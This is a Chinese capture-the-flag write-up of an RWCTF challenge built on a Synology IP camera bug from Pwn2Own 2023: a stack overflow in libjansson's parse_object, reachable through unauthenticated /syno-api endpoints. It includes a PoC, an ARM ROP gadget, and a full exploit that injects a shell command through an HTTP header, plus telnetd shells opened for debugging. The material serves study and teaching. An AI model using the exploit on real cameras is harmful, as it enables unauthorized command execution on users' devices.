Pwn2Own & RWCTF 6th - Let’s party in the house
字数 758 2025-08-05 11:39:43
Pwn2Own & RWCTF 6th - Let's party in the house 漏洞分析与利用
1. 题目概述
这是一个关于IP Camera设备的漏洞利用挑战,涉及Pwn2Own 2023上被利用的漏洞。题目提供了一个运行在QEMU模拟环境中的IP Camera设备,目标是通过漏洞利用获取设备上的flag(位于/flag)。
2. 环境配置
2.1 启动环境
题目提供了run.sh脚本启动环境,默认账号密码为root:root。启动后环境会输出杂乱信息,其中包含telnet服务。
#!/bin/sh
qemu-system-arm \
-m 1024 \
-M virt,highmem=off \
-kernel zImage \
-initrd player.cpio \
-nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802 \
-nographic
2.2 启用telnet调试
修改rcS文件添加telnet服务:
#!/bin/sh
source /etc/profile_prjcfg
telnetd -p 9901 -l /bin/sh
mount -a
echo "ker" > /proc/nvt_info/bootts
echo "rcS" > /proc/nvt_info/bootts
for initscript in /etc/init.d/S[0-9][0-9]*
do
if [ -x $initscript ]; then
echo "[Start] $initscript"
$initscript
fi
done
echo "rcS" > /proc/nvt_info/bootts
telnetd -p 8802 -l /bin/sh
3. 漏洞分析
3.1 漏洞位置
漏洞存在于/lib/libjansson.so.4.7.0库中的parse_object函数,这是一个JSON解析时的栈溢出漏洞。
关键漏洞代码:
json_t *__fastcall parse_object(lex_t *lex, int flags, json_error_t *error) {
char v9[32]; // [sp+14h] [bp-40h] BYREF
char v10[12]; // [sp+34h] [bp-20h] BYREF
// ...
_isoc99_sscanf(key, "%s %s", v9, v10); // stack-based buffer overflow
// ...
}
3.2 漏洞触发路径
调用链为:
parse_object -> parse_value -> json_loads -> final_json_load (在synocam_param.cgi中)
3.3 攻击面分析
通过dirsearch扫描发现未授权访问的API端点:
/syno-api/session
/syno-api/activate
/syno-api/security/info/model
/syno-api/security/info/name
/syno-api/maintenance/firmware/version
/syno-api/security/info/language
/syno-api/security/info/mac
/syno-api/security/network/dhcp
/syno-api/security/info
/syno-api/security/info/serial_number
这些请求最终会路由到/www/camera-cgi/synocam_param.cgi处理。
4. 漏洞利用
4.1 PoC构造
基本PoC结构:
from pwn import *
p1 = b'a ' + b'a' * 0x30
json = b'{"' + p1 + b'": ""}'
headers = b'''POST /syno-api/security/info/mac HTTP/1.1
Content-Length: %d
Host: 127.0.0.1:8801
Content-Type: application/json
Connection: close
''' % len(json)
payload = headers + json
4.2 调试方法
使用gdbserver附加到webd进程:
gdbserver :1234 --attach <webd_pid>
GDB调试脚本:
target remote :1234
set follow-fork-mode parent
catch fork
c
set follow-fork-mode child
catch exec
c
4.3 ROP利用
发现可利用的gadget:
.text:00014D5C STR R3, [R11,#var_30]
.text:00014D60 LDR R0, [R11,#var_38]
.text:00014D64 BL _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv
.text:00014D68 MOV R2, R0
.text:00014D6C LDR R3, =(aR_0 - 0x14D78)
.text:00014D70 ADD R3, PC, R3 ; "r"
.text:00014D74 MOV R1, R3 ; modes
.text:00014D78 MOV R0, R2 ; command
4.4 完整利用
通过控制R0寄存器执行命令:
binary_base = 0x400000
gadget = 0x14D5c + binary_base
cmd = b'$HTTP_A'.ljust(8, b';')
p1 = b'a ' + b'b' * (0x60 + 0x24 - 8) + cmd + b'\u005c\u004d\u0041' # gadget编码
json = b'{"' + p1 + b'": ""}'
headers = b'''POST /syno-api/security/info/mac HTTP/1.1
Content-Length: %d
Host: 127.0.0.1:8801
A: cp /flag /www/index.html
Content-Type: application/json
Connection: close
''' % len(json)
payload = headers + json
5. 参考资源
6. 总结
该漏洞利用的关键点:
- 通过未授权API端点触发漏洞
- 利用JSON解析时的栈溢出控制程序流
- 构造ROP链或直接劫持控制流执行命令
- 通过HTTP头注入命令实现任意命令执行
漏洞利用成功后,可以将flag复制到web目录下直接访问获取。